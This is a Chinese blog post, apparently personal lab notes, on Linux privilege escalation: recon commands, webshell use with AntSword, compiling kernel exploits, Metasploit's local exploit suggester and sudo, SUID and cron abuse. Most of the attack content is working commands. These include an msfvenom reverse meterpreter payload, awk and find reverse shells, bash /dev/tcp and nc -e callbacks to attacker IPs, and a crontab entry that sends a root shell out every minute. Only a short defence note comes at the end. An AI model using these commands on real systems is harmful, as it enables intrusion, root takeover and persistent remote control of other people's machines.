Chosen1|安全

Linux提权

!/bin/sh & #!/bin/bash区别    
    (1) #!/bin/sh
    (2) #!/bin/bash

二者区别如下:
1.新建test.sh脚本内容如下:

#!/bin/sh
source pcy.sh #pcy.sh并不存在
echo hello

执行./test.sh,屏幕输出为:
   ./test.sh: line 2: pcy.sh: No such file or directory
因此可以得知,在#!/bin/sh的情况下,source不成功,不会运行source后面的代码。


修改test.sh脚本的第一行如下:

#!/bin/bash
source pcy.sh #pcy.sh并不存在
echo hello
再次执行./test.sh,屏幕输出为:
   ./test.sh: line 2: pcy.sh: No such file or directory
    hello

原因:

1. sh一般设成bash的软链
      [work@zjm-testing-app46 cy]$ ll /bin/sh
      lrwxrwxrwx 1 root     root          4 Nov 13   2006 /bin/sh -> bash
2. 在一般的linux系统当中(如redhat),使用sh调用执行脚本相当于打开了bash的POSIX标准模式
3. 也就是说 /bin/sh 相当于 /bin/bash --posix
所以,sh跟bash的区别,实际上就是bash有没有开启posix模式的区别
假如第一行写成 #!/bin/bash --posix,执行效果跟#!/bin/sh是一样的(遵循posix的特定规范,代码就不会再向下解释了,程序会停止在这里!)

Linux的常用命令

uname -a   #查看内核/操作系统/cpu信息
cat /etc/issue    #查看发行版本
hend -n 1 /etc/issue  #查看操作系统版本
cat /proc/version   #查看系统信息
hostname           #查看计算机名
env                #查看环境变量
ifconfig           #查看网卡与ip
netstat -lntp       #查看所有监听端口
netstat -antp       #查看所有已经建立的连接
netstat -s          #查看网络统计信息
iptables -L         #查看防火墙设置
route -n            #查看路由表
ps -ef              #查看所有进程
top                #实时显示进程状态
w                  #查看活动用户
id                 #查看指定用户信息
last               #查看用户登录日志
cut -d: -f 1 /etc/passwd#查看系统所有用户
cut -d: -f 1 /etc/group#查看系统所有组
crontab -l          #查看当前用户的计划任务
chkconfig –list     #列出所有系统服务
chkconfig –list|grepon   #列出所有启动的系统服务
//注意:Ubuntu 中 chkconfig 已经被 sysv-rc-conf 所替代
echo$PATH          #查看系统路径

为什么有时候使用蚁剑的终端他的root权限一秒就没

提权可能需要反弹 bash ,因为脚本语言无法形成管道,需要创造一个管道才能进行后续的操作,比如溢出成功之后返回一个 root 权限的 shell,脚本语言执行完就完了,不会返回一个可以操作的 root shell

像蚁剑这种,代码都是一次性的,他们是在后台进行拼接上次你输入的命令
终端是可以有上下文联系的,像反弹shell,就是我们使用nc监听端口,端口有数据交互,我们拿过来,就行bp抓包,nc监听不会拦截

为什么有的时候使用shell是永久提权,而蚁剑则是一瞬间的提权?
区别在于:蚁剑执行命令是依靠于我们上传到受害机当中的webshell,即那个php文件,每次我们使用蚁剑进行操作时,都是依靠的该文件,且每次命令的执行都是独立的,即命令之间没有相互关系,我们可以把每一次命令的执行都看出一个单独的会话,命令执行完,该会话就消失了,这也是为什么用蚁剑进行提权是一瞬间的事情.

而nc监听到的反弹shell则是一直处于监听状态,它的会话是一直存在的,而不是一瞬间的事情.而当shll这边提权成功功后,蚁剑之所以也可以了,是因为蚁剑将上下文进行拼接了,即仍然是单独的会话,但会把以前的命令与现在的命令一次性执行,即我们好像只执行了一个命令,但蚁剑却执行了以前的命令和我们现在的命令,从而造成了我们以为蚁剑有上下文的假像.

POC/EXP/PAYLOAD

POC = Proof of Concept中文意思是“观点证明”。这个短语并非仅仅在漏洞报告中使用,甲方在项目招标过程中也常常要求乙方提供POC,即证明你的方案或者产品能达到声称的功能或性能,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

EXP = Exploit的中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。

POC,是用来验证漏洞是否存在的一段代码。
EXP,指利用系统漏洞进行渗透。
先有POC,后有EXP。
image-20231102093537541

搜索exp的方法

以http://www.exploit-db.com为例,介绍如何使用

提权思路

1.获取版本号
2.搜索exp
3.反弹shell
4.尝试利用

通过小马上传大马

首先我们为模拟环境,所以我在虚拟中先上传一个一句话木马

1.php中的内容

我们使用蚁剑连接,用来上传我们的大马,需要注意的是有的时候我们不能修改文件等操作为我们文件的权限有问题例如,我这里的大部分文件的权限都是root,但是在实际网站中,我们的文件的权限都是属于网站中间件

使用蚁剑连接上传我们的大马,进行实验

连接成功,成功上传dama.php

在外部连接,可以看见我上面已经上传好了exp,大马等需要的文件

首先使用大马命令执行来编译我们的exp

gcc 37292.c -o zzp

发现编译好了

下面我要进行一个不太正确的演示

我们在大马中执行exp,大马中执行exp无回显

在蚁剑中来执行exp

如下图所示,为什么一秒就没详见上面的章节为什么有时候使用蚁剑的终端他的root权限一秒就没

所以我们发现,这样是不可以的,想到了如果使用nc的反弹shell会是什么样的,kail启动,使用nc模块

再反弹shell中可以进行执行命令

运行./zzp刚刚编译过的文件

漏洞利用检测工具

访问github下载漏洞利用工具
https://github.com/The-Z-Labs/linux-exploit-suggester
他会列出来漏洞exp列表,选择合适自己的,第一个连接会直接下载.c文件,第二个是漏洞利用工具
下载完成
上传,解压,查看当前权限
输入make,编译.c文件
运行./cve-2021-4034进行提权

MSF提权

使用post/multi/recon/local_exploit_suggester模块权限提升
1.通过蚁剑连接webshell
2.通过msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.78 LPORT=6666 -f elf > shell.elf生成反向连接的linux木马
3.msfconsole打开msf的控制台
4.use exploit/multi/handler使用监听模块
5.set payload linux/×64/meterpreter/reverse_tcp设置监听payload为linux反向连接
6.set lhost 192.168.1.78 set lport 6666设置kali本地ip和端口
7.run开始运行监听
8.蚁剑上传反向连接的linux木马到目标服务器
9.蚁剑更改木马的权限为0777
10.蚁剑通过虚拟终端./xxx.elf运行木马
11.msf返回监听成功的视图
12.background退回到msf控制台视图
13.use post/multi/recon/local_exploit_suggester使用漏洞检测模块
14.set session 1设置漏洞检测的会话id
15.run运行漏洞检测模块

生成反向连接的linux木马

使用蚁剑进行上传,更改木马的权限为0777

上传完木马回到攻击机kali
使用msfconsole打开msf的控制台
输入use exploit/multi/handler使用监听模块
set payload linux/x64/meterpreter/reverse_tcp设置监听payload为linux反向连接
分两步设置set lhost 192.168.1.11 和  set lport 6666  为攻击机kali自己的本地ip和端口
攻击机kali输入 run 开始运行监听,蚁剑cd到shell.elf的目录,运行木马
msf返回监听成功的视图
background退回到msf控制台视图
use post/multi/recon/local_exploit_suggester 使用漏洞检测模块
set session 1 设置漏洞检测的会话id
run 运行漏洞检测模块
use exploit/xxx/xxx/xxx/xxx 使用某个绿色的可用的漏洞利用模块
options 查看该漏洞利用模块的参数,yes代表必须项,no代表可填项,将没有值的yes项填完整 set xxxxx
run 运行该漏洞利用模块,成功则返回一个 meterpreter 视图
getuid 查看当前是否提权成功

修改passwd文件提权

大多数linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。
出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的

若passwd可读写,则可直接在/etc/passwd里面创建一个root用户,但是创建的前提必须有文件至少是666权限(即任何用户都有该文件的读写权限),本文只介绍这个情况。
若shadow可读,则读走root的hash,然后用hashcat或者john暴力破解。

passwd存储的文件格式

centos7 的root密码
$6$AN9EKafD$C9hX3//48JHWeggl9w/Z6IMCuMkAfAk6PVLHD8ppmJnWjNdOX0y0v5/W2FFeDPWK/UkBv.16Vl0OrbDA.O43l0

我们可以自己新建一个用户,密码我们知道,去/etc/shadow下查看密码,因为shadow不可写,所以我们在passwd中进行修改,只需要把我们从shadow中的密码复制到passwd中x的位置上,即可更改完成

滥用sudo导致的提权

https://www.freebuf.com/articles/system/362070.html

(需要普通用户可以sudo执行某些命令,又名sudo 提权)

在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。如下图

正常的sudoers文件只有一个root在这里,我这个加上了一个普通用户zzp

下面介绍一下这里面三个ALL的含义
hadoop ALL=(ALL) ALL
第一个 ALL 是指网络中的主机, 我们可以指定主机名, 这样 hadoop 只可以
在此主机上执行后面的命令。第二个括号里的 ALL 是指目标用户,也就是以谁的身份去执行命令。最后一个 ALL 是指命令名了。
例如,我们想让 hadoop 用户在 node-23 主机上以 allen 的身份执行 kill 命令, 就这样编写配置文件:
hadoop node-23=(allen) /bin/kill
案例:只允许 hadoop 用户以 root 身份在 node-23 上执行 ls 、 cat 命令,
并且执行时候免输入密码。
配置文件中:
hadoop node-23=NOPASSWD: /bin/ls, /bin/cat
执行非 ls 、 cat 命令也会禁止。
而 cat 命令就可以执行。
可以利用sudo提权的命令如下 :
wget、find、cat、apt、zip、xxd、time、taskset、
git、sed、pip、ed、tmux、scp、perl、bash、
less、awk、man、vi、env、ftp
都有什么可以提权
https://gtfobins.github.io/

借用awk反向连接

首先切换到普通用户

并确保这个普通用户可以使用awk命令

在攻击机开启我们的nc监听

先输入我们的RHOST和RPOST

然后输入awk提权命令

代码如下:
sudo awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN{
 s = "/inet/tcp/0/" RHOST "/" RPORT;
 while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
 while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

成功

借用awk正向连接

原理是受害者开一个端口,谁连接谁就可以使用
nc的命令时
nc -nv 10.1.1.104 6666

受害者服务器命令
LPORT=6666
sudo awk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN{
 s = "/inet/tcp/0/" RHOST "/" RPORT;
 while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
 while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'

find提权

普通用户find命令提权必要条件:find必须有x执行权限,有x表示可以提权

所以我们需要使用 ls -l /usr/bin/find 来查看普通用户是否有执行权限
第一个命令为
sudo find /home -exec /bin/bash \;

第二个
sudo find . -exec /bin/sh \; -quit

这里的反斜杠\是用来转义分号;的
这里返回的shell是不完整的shell,还可以升级到交互式的shell

SUID提权

注意:suid提权是短暂的,能帮我们以root权限执行指定的命令

什么是SUID

我们更改的就是setuid,把只能root执行的改为4权限所有用户都可以执行
1、SUID权限仅对二进制程序(binary program)有效;
2、执行者对于该程序需要具有x的可执行权限;
3、本权限仅在执行该程序的过程中有效(run-time);
4、执行者将具有该程序拥有者(owner)的权限。
SUID的目的就是:让本来没有相应权限的用户运行这个程序时,可以访问他没有权限访问的资源。
用此命令即可 找到具有 SUID 权限的参数:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
三选一
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

会查找到很多。常见suid提权文件有:
nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

之后使用 ls -al /usr/bin/find ,可以看出来现在我们的find的权限是-rwxr-xr-x

当管理员配置错误时,我们可以看见我们的执行权限从X -> S

当一个文件拥有suid权限,那么其他用户在操作该文件的时候,身份会自动变为拥有者

经实测可以使用nc反弹shell来进行连接

find /etc/passwd -exec bash -ip >& /dev/tcp/192.168.1.187/6666 0>&1 \;
或
find /var/www/dirty -exec nc 192.168.1.130 2333 -t -e /bin/sh \;

另一种方法

能成功还是要建立在find添加了suid权限

先在tmp目录创建一个22文件

使用find查找文件并执行whoami发现为root权限

find /tmp/22 -exec whoami \;
其他方式
find命令
sudo find . -exec /bin/sh \; -quit 
进行反弹shell也可以
find dirty -exec nc -lvp 9999 -e /bin/sh ;

chmod命令
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod
ash,linux shell
sudo ash

cp命令
sudo sh -c 'cp $(which cp) .; chmod +s ./cp 

gdb命令
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit

计划任务提权

运维人员通常会通过计划任务去执行脚本完成一些日常操作,但若是权限配置不当,往往会被攻击者利用,用来提权。开始计划任务提权前先简单介绍下crontab,crontab是Linux的计划任务,其服务是crond,配置文件为/etc/crontab,可以通过编辑此配置文件配置定期执行的程序或命令,也可以使用crontab命令配置。

计划任务提权总结:在具有root权限的计划任务的文件的目录下创建或编译一个自定义的文件并赋予suid权限,系统在执行该定时任务执行时便会执行我们自定义的具有suid权限的文件,从而进行提权。

配置文件语法如下:

m               h               dom          mon            dow           user          command           

分(0-59)      小时(0-23)        天(1-31)     月(1-12)         天每星期        用户            命令

特殊符号的含义:

*:代表取值范围内的数字;

/:代表“每”;

-:代表从某个数字到某个数字;

,:分开几个离散的文字;

以上字段中除了“command”是每次都必须制定的字段以外,其他字段皆为可选字段,可根据需要进行决定。对于不指定的字段,要用*填补其位置。本实验攻击端通过修改计划任务中的脚本文件将/bin/bash设置为SUID权限且属主为root,执行完之后便可以使用root权限打开baseshell来执行命令。

第一种方法(没成功)

centos7 反弹shell

vim /etc/crontab
添加
*/1 * * * * bash -i >& /dev/tcp/192.168.1.187/6666 0>&1
为每分钟发送一次反弹shell

第二种方法

cat /etc/crontab 查看当前的计时任务
创建一个1.py用来模拟服务器上 Cron Jobs
一般来说我们的步骤是先cat 查看计时任务,发现他有一个1.py的计时任务
再去find/ -name 1.py查看文件的位置
再去查看1.py的权限
这里我们模拟环境所以使用chmod 1.py 777来给文件添加所有文件可读可写可执行

执行命令vim 1.py,把1.py文件中的代码修改为如下代码

bash -ip >& /dev/tcp/192.168.1.187/6666 0>&1

这段代码是为了让他每分钟都可以反弹shell

第三种方法

https://blog.csdn.net/Z526209693/article/details/125482607

防御

crontab 任务千万不要写到 /etc/crontab 文件里。通过 crontab -e 去创建,让他写到默认的 /var/spool/cron下;创建任务时,避免使用 root 去创建任务,若用 root 创建任务,注意设置权限,避免 root 权限执行任务。
关联阅读
https://www.freebuf.com/articles/system/362070.html   Linux提权姿势总结|原创  -- Ufgnix

https://cloud.tencent.com/developer/article/1544037   Linux 提权的各种姿势总结  -- 信安之路

/

Views: 6

退出移动版